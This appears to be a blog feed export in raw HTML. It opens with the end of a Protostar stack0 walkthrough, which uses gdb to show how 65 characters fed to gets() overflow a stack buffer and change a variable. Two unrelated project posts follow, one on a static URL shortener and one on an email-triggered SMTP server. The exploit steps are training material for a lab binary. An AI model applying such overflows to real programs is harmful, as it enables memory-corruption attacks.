&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte (&amp;#39;\0&amp;#39;). No check for buffer overrun is performed (see BUGS below).
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Great! So we know that we need to update a value at address esp+0x5c and we know that we have a possibility to have unchecked writes done starting from esp+0x1c. You know where this is going, and we almost don&amp;rsquo;t even need further dynamic analysis to crack this now. But I&amp;rsquo;ll take you through a bit of dynamic analysis for a brief introduction to it and for confirming our theory.&lt;/p&gt;
&lt;h3 id="dynamic-analysis"&gt;Dynamic Analysis&lt;/h3&gt;
&lt;p&gt;While in static analysis we carry out all our inspections without running the program, in dynamic analysis we monitor the internal state of the program while it is running. For this, we will run the program inside gdb. You should know the following basic commands for this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r&lt;/code&gt;: Run the currently loaded program from beginning&lt;/p&gt;
&lt;p&gt;&lt;code&gt;b *&amp;lt;address&amp;gt;&lt;/code&gt;: Put a breakpoint at &amp;lt;address&amp;gt; so that the program stops execution when it reaches that address.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c&lt;/code&gt;: Continue execution&lt;/p&gt;
&lt;p&gt;&lt;code&gt;info r&lt;/code&gt;: This displays the current state of the CPU&amp;rsquo;s general purpose registers&lt;/p&gt;
&lt;p&gt;&lt;code&gt;x/&amp;lt;n&amp;gt;&amp;lt;s&amp;gt; &amp;lt;address/register&amp;gt;&lt;/code&gt;: This allows to examine the process memory at the given address or address contained in register. You can use various switches &amp;lt;s&amp;gt; with it to display a specific amount of memory and in a specific format. e.g., /i displays the memory as instructions, /x as hex, /s as strings, etc. The number &amp;lt;n&amp;gt; is used to display n units of memory&lt;/p&gt;
&lt;p&gt;Now, before we run the program, recall that we had 2 puts calls in our assembly code and we didn&amp;rsquo;t know which one was the success case and which was failure. So we simply try to read the strings present at the addresses which were passed to the puts calls.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/s 0x8048500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x8048500: &lt;span style="color:#e6db74"&gt;&amp;#34;you have changed the &amp;#39;modified&amp;#39; variable&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/s 0x8048529
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x8048529: &lt;span style="color:#e6db74"&gt;&amp;#34;Try again?&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we knnow that our first puts call is the success case and the second one is failure. Now, our observation was that if the value at esp+0x5c was 0, then it goes to the second puts call and otherwise it goes to first. So, we have to somehow make this value non-zero to get success.&lt;/p&gt;
&lt;p&gt;We know that our area of interest is in the gets call through which we can manipulate the program memory. So let&amp;rsquo;s put couple of breakpoints, 1 before gets and 1 after and then run the program.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x0804840c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; at 0x804840c: file stack0/stack0.c, line 11.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x08048411
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; at 0x8048411: file stack0/stack0.c, line 13.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting program: /opt/protostar/bin/stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 1, 0x0804840c in main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at stack0/stack0.c:11
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;11 stack0/stack0.c: No such file or directory.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; in stack0/stack0.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we are stopped right before executing the gets call. We know that the input is taken at esp+0x1c and the target variable is located at esp+0x5c. So, let&amp;rsquo;s see the state of the program memory around these areas.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/30x $esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff770: 0xb7fd7ff4 0x08049620 0xbffff788 0x080482e8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff780: 0xb7ff1040 0x08049620 0xbffff7b8 0x08048469
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7b0: 0x08048450 0x00000000 0xbffff838 0xb7eadc76
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7c0: 0x00000001 0xbffff864
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This shows us that the stack pointer is at 0xbffff750, the value at esp+0x1c (i.e. 0xbffff76c) is some non-zero value and the value at esp+0x5c (i.e. 0xbffff7ac) is 0 (matches the variable initialization value). Let&amp;rsquo;s continue further to the next step, enter some known data as input and see the state of memory again.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Continuing.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 2, main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt; at stack0/stack0.c:13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;13 in stack0/stack0.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/30x $esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff770: 0x41414141 0x41414141 0xbffff700 0x080482e8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff780: 0xb7ff1040 0x08049620 0xbffff7b8 0x08048469
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7b0: 0x08048450 0x00000000 0xbffff838 0xb7eadc76
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7c0: 0x00000001 0xbffff864
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We entered &lt;code&gt;AAAAAAAAAAAA&lt;/code&gt; as the input, i.e., 12 &amp;lsquo;A&amp;rsquo; characters as input and notice that 12 bytes starting from 0xbffff76c onwards now reflect as 0x41 (which is the &lt;a href="http://www.asciitable.com/"&gt;ascii value&lt;/a&gt; of A). So if we enter more number of As, we can continue overwriting more memory locations with 0x41 till we reach esp+0x5c. We can find the distance between the input variable and output variable addresses by doing this simple calculation of (esp+0x5c - esp+0x1c) or (0xbffff7ac - 0xbffff76c) which comes out to be 0x40 or 64. So, we need to input more than 64 As into the program to modify the variable and get the desired result.&lt;/p&gt;
&lt;p&gt;Try this out now on regular command line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ ./stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;you have changed the &lt;span style="color:#e6db74"&gt;&amp;#39;modified&amp;#39;&lt;/span&gt; variable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or if you know python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@protostar:/opt/protostar/bin$ python -c &lt;span style="color:#e6db74"&gt;&amp;#39;print &amp;#34;A&amp;#34;*65&amp;#39;&lt;/span&gt; | ./stack0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;you have changed the &lt;span style="color:#e6db74"&gt;&amp;#39;modified&amp;#39;&lt;/span&gt; variable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SUCCESS!&lt;/p&gt;
&lt;h3 id="references--lessons-learnt"&gt;References / Lessons learnt&lt;/h3&gt;
&lt;p&gt;So, in this article, we learnt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;About a very basic buffer overflow on the stack and how to exploit it.&lt;/li&gt;
&lt;li&gt;Static and dynamic analysis portions of reverse engineering&lt;/li&gt;
&lt;li&gt;strings command&lt;/li&gt;
&lt;li&gt;Introduction to x86 assembly&lt;/li&gt;
&lt;li&gt;Several gdb commands&lt;/li&gt;
&lt;li&gt;We also learnt that usage of &lt;code&gt;gets&lt;/code&gt; function is very dangerous as it doesn&amp;rsquo;t have any kind of check on the amount of input coming from the user versus the space we have to save it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can refer to the below links for reading up more about some of the things discussed above. If you have any queries or suggestions, please leave a comment here or ping me &lt;a href="https://twitter.com/shantanugoel/"&gt;@shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.owasp.org/index.php/Buffer_Overflow"&gt;Buffer Overflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Stack_buffer_overflow"&gt;Stack Buffer Overflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cs.virginia.edu/~evans/cs216/guides/x86.html"&gt;X86 Assembly Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://visualgdb.com/gdbreference/commands/"&gt;GDB Commands Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Create a bit.ly like shorturl static website</title><link>https://shantanugoel.com/2017/09/17/create-bitly-clone-shorturl-static-website/</link><pubDate>Sun, 17 Sep 2017 23:46:24 +0530</pubDate><guid>https://shantanugoel.com/2017/09/17/create-bitly-clone-shorturl-static-website/</guid><description>&lt;p&gt;I decided to create my own shorturl website last week for personal use and ended up developing a python project (&lt;a href="https://shgl.in/deecubes/"&gt;deecubes&lt;/a&gt;)that can be used by anyone to do the same. This is a post to explain what/why/how about it.&lt;/p&gt;
&lt;h2 id="why-my-own-shorturl-website"&gt;Why my own shorturl website?&lt;/h2&gt;
&lt;p&gt;So far I had been using sites like bit.ly or TinyURL whenever I needed to generate a shorturl (e.g. for giving to someone for easily remember, noting down on paper, putting links on resume, etc) but I had concerns that:&lt;/p&gt;</description><content>&lt;p&gt;I decided to create my own shorturl website last week for personal use and ended up developing a python project (&lt;a href="https://shgl.in/deecubes/"&gt;deecubes&lt;/a&gt;)that can be used by anyone to do the same. This is a post to explain what/why/how about it.&lt;/p&gt;
&lt;h2 id="why-my-own-shorturl-website"&gt;Why my own shorturl website?&lt;/h2&gt;
&lt;p&gt;So far I had been using sites like bit.ly or TinyURL whenever I needed to generate a shorturl (e.g. for giving to someone for easily remember, noting down on paper, putting links on resume, etc) but I had concerns that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site could go out of operation anytime.&lt;/li&gt;
&lt;li&gt;They seem a bit unprofessional and also, there are a lot of scammy links floating around on these sites that many folks are wary of clicking on them.&lt;/li&gt;
&lt;li&gt;I lose the SEO juice to external sites&lt;/li&gt;
&lt;li&gt;Custom shorturl keywords were mostly taken&lt;/li&gt;
&lt;li&gt;Keep history of all links I convert&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I could satisfy a few of these points by creating an account and using my custom domain with bit.ly or something but my developer itch sealed the deal by giving me something to code :P.&lt;/p&gt;
&lt;h2 id="requirements-for-the-shorturl-website"&gt;Requirements for the shorturl website&lt;/h2&gt;
&lt;p&gt;These were the requirements that I listed out while beginning the project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Should be cheap af. (I ended up at FREE! ;) )&lt;/li&gt;
&lt;li&gt;Should be maintenance free and run itself (I didn&amp;rsquo;t want another headache to tune/apply patches for and what not)&lt;/li&gt;
&lt;li&gt;Should allow addition of links from anywhere (whether on my PC or not)&lt;/li&gt;
&lt;li&gt;Should allow random links as well as custom ones&lt;/li&gt;
&lt;li&gt;Should allow to remove previously generated shorturls&lt;/li&gt;
&lt;li&gt;Should allow me to easily see all generated shorturls, preferably along with history&lt;/li&gt;
&lt;li&gt;Allow previewing the link a shorturl points to without redirecting, if needed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These lead me to decide on a couple of important things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site had to be static (Host on s3 for cheap or github pages for free. No patches/maintenance. Super performance)&lt;/li&gt;
&lt;li&gt;Had to be version controlled (Easy history/viewing/editing from anywhere.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="deecubes"&gt;deecubes&lt;/h2&gt;
&lt;p&gt;Thus, &lt;a href="https://shgl.in/deecubes/"&gt;deecubes&lt;/a&gt; was born. (The link in the previous line is shortened using deecubes itself, by the way)&lt;/p&gt;
&lt;p&gt;The name comes from the short form &amp;lsquo;DSSS&amp;rsquo; of Damn Simple Static url Shortener (so, a D and a cube of S&amp;rsquo;s. Idiotic, I know). You can read more about how to use it at the above link in the README but in summary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&amp;rsquo;s written in pure python&lt;/li&gt;
&lt;li&gt;It takes a long form url and creates a static website shorturl that can be auto-generated or custom&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s deterministic, so you can be sure of generating the same website from the same inputs&lt;/li&gt;
&lt;li&gt;Preview can be seen at &lt;code&gt;&amp;lt;shorturl&amp;gt;/preview.html&lt;/code&gt; (e.g. &lt;a href="https://shgl.in/deecubes/preview.html"&gt;https://shgl.in/deecubes/preview.html&lt;/a&gt; )&lt;/li&gt;
&lt;li&gt;Published on pypi, so can install with pip&lt;/li&gt;
&lt;li&gt;Several ways to use/deploy (as simple as ftp or bash/batch scripts or manual git commits/push or commit directly through github website etc )&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take a look at my generated website repository as an example at &lt;a href="https://shgl.in/deecubesdemo"&gt;deecubesdemo&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="my-deployment-strategy"&gt;My deployment strategy&lt;/h2&gt;
&lt;p&gt;I ended up with the following stack to add links rather painlessly from anywhere and not do any maintenance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Github for hosting the website using github pages&lt;/li&gt;
&lt;li&gt;Cloudflare to provide that shiny https and some statistics/caching etc&lt;/li&gt;
&lt;li&gt;Travis to automatically build and deploy the site so I dont need to always generate the shorturl and can commit from anywhere&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Check the repository I linked above to see how it is done. Most of the magic is done in a few lines of the &lt;a href="https://shgl.in/11PAfL1QG/"&gt;.travis.yml&lt;/a&gt; file. Essentially it follows this path:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I commit a shorturl .txt file directly in the &amp;ldquo;raw&amp;rdquo; directory through github web on &amp;ldquo;source&amp;rdquo; branch&lt;/li&gt;
&lt;li&gt;Travis picks up the commit and runs deecubes&amp;rsquo; &amp;ldquo;sync&amp;rdquo; command to generate the website portions&lt;/li&gt;
&lt;li&gt;Travis deploys the &amp;ldquo;output&amp;rdquo; folder contents to the &amp;ldquo;master&amp;rdquo; branch of the same repo.&lt;/li&gt;
&lt;li&gt;Github is configured to serve the website from &amp;ldquo;docs&amp;rdquo; folder of master branch through my custom domain shgl.in (&amp;ldquo;docs&amp;rdquo; folder is already created and checked-in inside output folder along with CNAME file)&lt;/li&gt;
&lt;li&gt;Cloudflare is configured to redirect all requests to shgl.in to my github repo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In a more traditional way, I could also do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Generate a shorturl locally using an &amp;ldquo;add&amp;rdquo; or &amp;ldquo;generate&amp;rdquo; command. You could be done at this point and publish the output folder to your website any way you want.&lt;/li&gt;
&lt;li&gt;I Commit the generated files including the output into the repo and push to github.&lt;/li&gt;
&lt;li&gt;Travis will still run and publish the website as earlier.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="things-to-come"&gt;Things to come?&lt;/h2&gt;
&lt;p&gt;I want to add the following things in next few weeks to the project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A collision handling mechanism which is also deterministic&lt;/li&gt;
&lt;li&gt;Allow google analytics addition for collecting metrics&lt;/li&gt;
&lt;li&gt;Allow custom templates for redirect and preview urls&lt;/li&gt;
&lt;li&gt;Your suggestions?&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>email-actions: An SMTP server that triggers actions from email</title><link>https://shantanugoel.com/2017/04/03/email-actions-trigger-tasks-from-email-smtp-server/</link><pubDate>Mon, 03 Apr 2017 19:20:59 +0530</pubDate><guid>https://shantanugoel.com/2017/04/03/email-actions-trigger-tasks-from-email-smtp-server/</guid><description>&lt;p&gt;Releasing my project &lt;a href="https://github.com/shantanugoel/email-actions"&gt;email-actions&lt;/a&gt; today. You install it from github or from pypi.&lt;/p&gt;
&lt;h1 id="email-actions"&gt;email-actions&lt;/h1&gt;
&lt;p&gt;email-actions is a tiny SMTP server with a rules based engine to trigger any actions (notifications/commands etc) based on the emails sent to this server.
Think of it like &lt;a href="https://ifttt.com"&gt;IFTTT&lt;/a&gt; but where input trigger is email and can be set up and run locally as well.&lt;/p&gt;
&lt;h1 id="why-did-you-make-email-actions"&gt;Why did you make email-actions&lt;/h1&gt;
&lt;p&gt;Like most of my projects, email-actions is a &amp;lsquo;scratch-your-own-itch&amp;rsquo; project. I bought a NAS (Synology ds216j) which also doubled as a downloader of anime/tv shows etc through RSS using its inbuilt &amp;ldquo;Download Station&amp;rdquo; app. I also used Plex to watch them over the network but these needed to be moved to a proper folder and named in a specific format (and some crap deleted and other maintenance done or sometimes some post processing done) to have Plex display/play them properly. I used Filebot and a few custom scripts for this but had to either do this manually or use a fixed time task scheduling (which tended to delay watching). This was semi-irritating.
I also wanted to know when something had been downloaded so I could binge on that latest episode as soon as it was done :)
Download station had a hack (by changing internal files) to run custom script after a download was completed but it had to be redone after every firmware update and sometimes, after every restart. And finally it stopped working altogether with recent updates.&lt;/p&gt;</description><content>&lt;p&gt;Releasing my project &lt;a href="https://github.com/shantanugoel/email-actions"&gt;email-actions&lt;/a&gt; today. You install it from github or from pypi.&lt;/p&gt;
&lt;h1 id="email-actions"&gt;email-actions&lt;/h1&gt;
&lt;p&gt;email-actions is a tiny SMTP server with a rules based engine to trigger any actions (notifications/commands etc) based on the emails sent to this server.
Think of it like &lt;a href="https://ifttt.com"&gt;IFTTT&lt;/a&gt; but where input trigger is email and can be set up and run locally as well.&lt;/p&gt;
&lt;h1 id="why-did-you-make-email-actions"&gt;Why did you make email-actions&lt;/h1&gt;
&lt;p&gt;Like most of my projects, email-actions is a &amp;lsquo;scratch-your-own-itch&amp;rsquo; project. I bought a NAS (Synology ds216j) which also doubled as a downloader of anime/tv shows etc through RSS using its inbuilt &amp;ldquo;Download Station&amp;rdquo; app. I also used Plex to watch them over the network but these needed to be moved to a proper folder and named in a specific format (and some crap deleted and other maintenance done or sometimes some post processing done) to have Plex display/play them properly. I used Filebot and a few custom scripts for this but had to either do this manually or use a fixed time task scheduling (which tended to delay watching). This was semi-irritating.
I also wanted to know when something had been downloaded so I could binge on that latest episode as soon as it was done :)
Download station had a hack (by changing internal files) to run custom script after a download was completed but it had to be redone after every firmware update and sometimes, after every restart. And finally it stopped working altogether with recent updates.&lt;/p&gt;
&lt;p&gt;It did support email notifications though. Thus email-actions was born. So I could push notifications for downloaded items run my custom scripts on the downloaded items.&lt;/p&gt;
&lt;p&gt;Since then, I&amp;rsquo;ve started using it for many other things as email is pervasive and most of the devices support email based notifications. So I can trap them and carry out other actions.&lt;/p&gt;
&lt;h1 id="what-are-the-benefitsdifferences-compared-to-hosted-services-like-ifttt"&gt;What are the benefits/differences compared to hosted services like IFTTT&lt;/h1&gt;
&lt;p&gt;IFTTT provides email hooks as well. I &lt;em&gt;think&lt;/em&gt; email-actions may be an alternative (you can decide whether it&amp;rsquo;s better or not) with respect to below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IFTTT works as a client once email is received so you still need an available SMTP server to be able to send email. This can be expensive or risky as you&amp;rsquo;d have to share your server username/pwd to the email sending entity. email-actions is an SMTP server that takes actions before any actual email delivery.&lt;/li&gt;
&lt;li&gt;Can be run locally with minimal dependencies. You don&amp;rsquo;t need to send your data to internet or even have an internet connection&lt;/li&gt;
&lt;li&gt;Tiny footprint&lt;/li&gt;
&lt;li&gt;Can run local commands as well while IFTTT still needs to be integrated with something else if that&amp;rsquo;s what you need&lt;/li&gt;
&lt;li&gt;You are in control of your info&lt;/li&gt;
&lt;li&gt;Free(er), that is, no limitations on hooks/conditions etc&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="current-high-level-feature-list"&gt;Current high level feature list&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;aiosmtpd based for aync email processing for performance&lt;/li&gt;
&lt;li&gt;The action execution is also asyncio based, so will free up the email sender while processing the action in background&lt;/li&gt;
&lt;li&gt;Easy yaml based configuration&lt;/li&gt;
&lt;li&gt;Global or local variables for full customization/reuse&lt;/li&gt;
&lt;li&gt;Action decision based on &amp;ldquo;To&amp;rdquo; email address filtering (Addition of many other filters on the roadmap)&lt;/li&gt;
&lt;li&gt;Plugins supported:
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://joaoapps.com/join/"&gt;Join&lt;/a&gt; push notifications (Will add pushbullet if there&amp;rsquo;s a demand or can use custom external script for now)&lt;/li&gt;
&lt;li&gt;Custom Local commands (Any arguments, any script type, custom environment variables)&lt;/li&gt;
&lt;li&gt;Email (Can forward the email to custom upstream servers further if needed for more actions or actual email delivery)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="installation"&gt;Installation&lt;/h1&gt;
&lt;p&gt;Pre-requisites: You need Python 3.4+ to be able to run this&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install using pip (May need to use &lt;code&gt;pip3&lt;/code&gt; instead of &lt;code&gt;pip&lt;/code&gt; according to your OS/python installation. May need to use &lt;code&gt;sudo&lt;/code&gt; prefix before below command if installing system wide)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;pip install email-actions&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install directly&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@github.com:shantanugoel/email-actions.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd email-actions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python setup.py install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="usage"&gt;Usage&lt;/h1&gt;
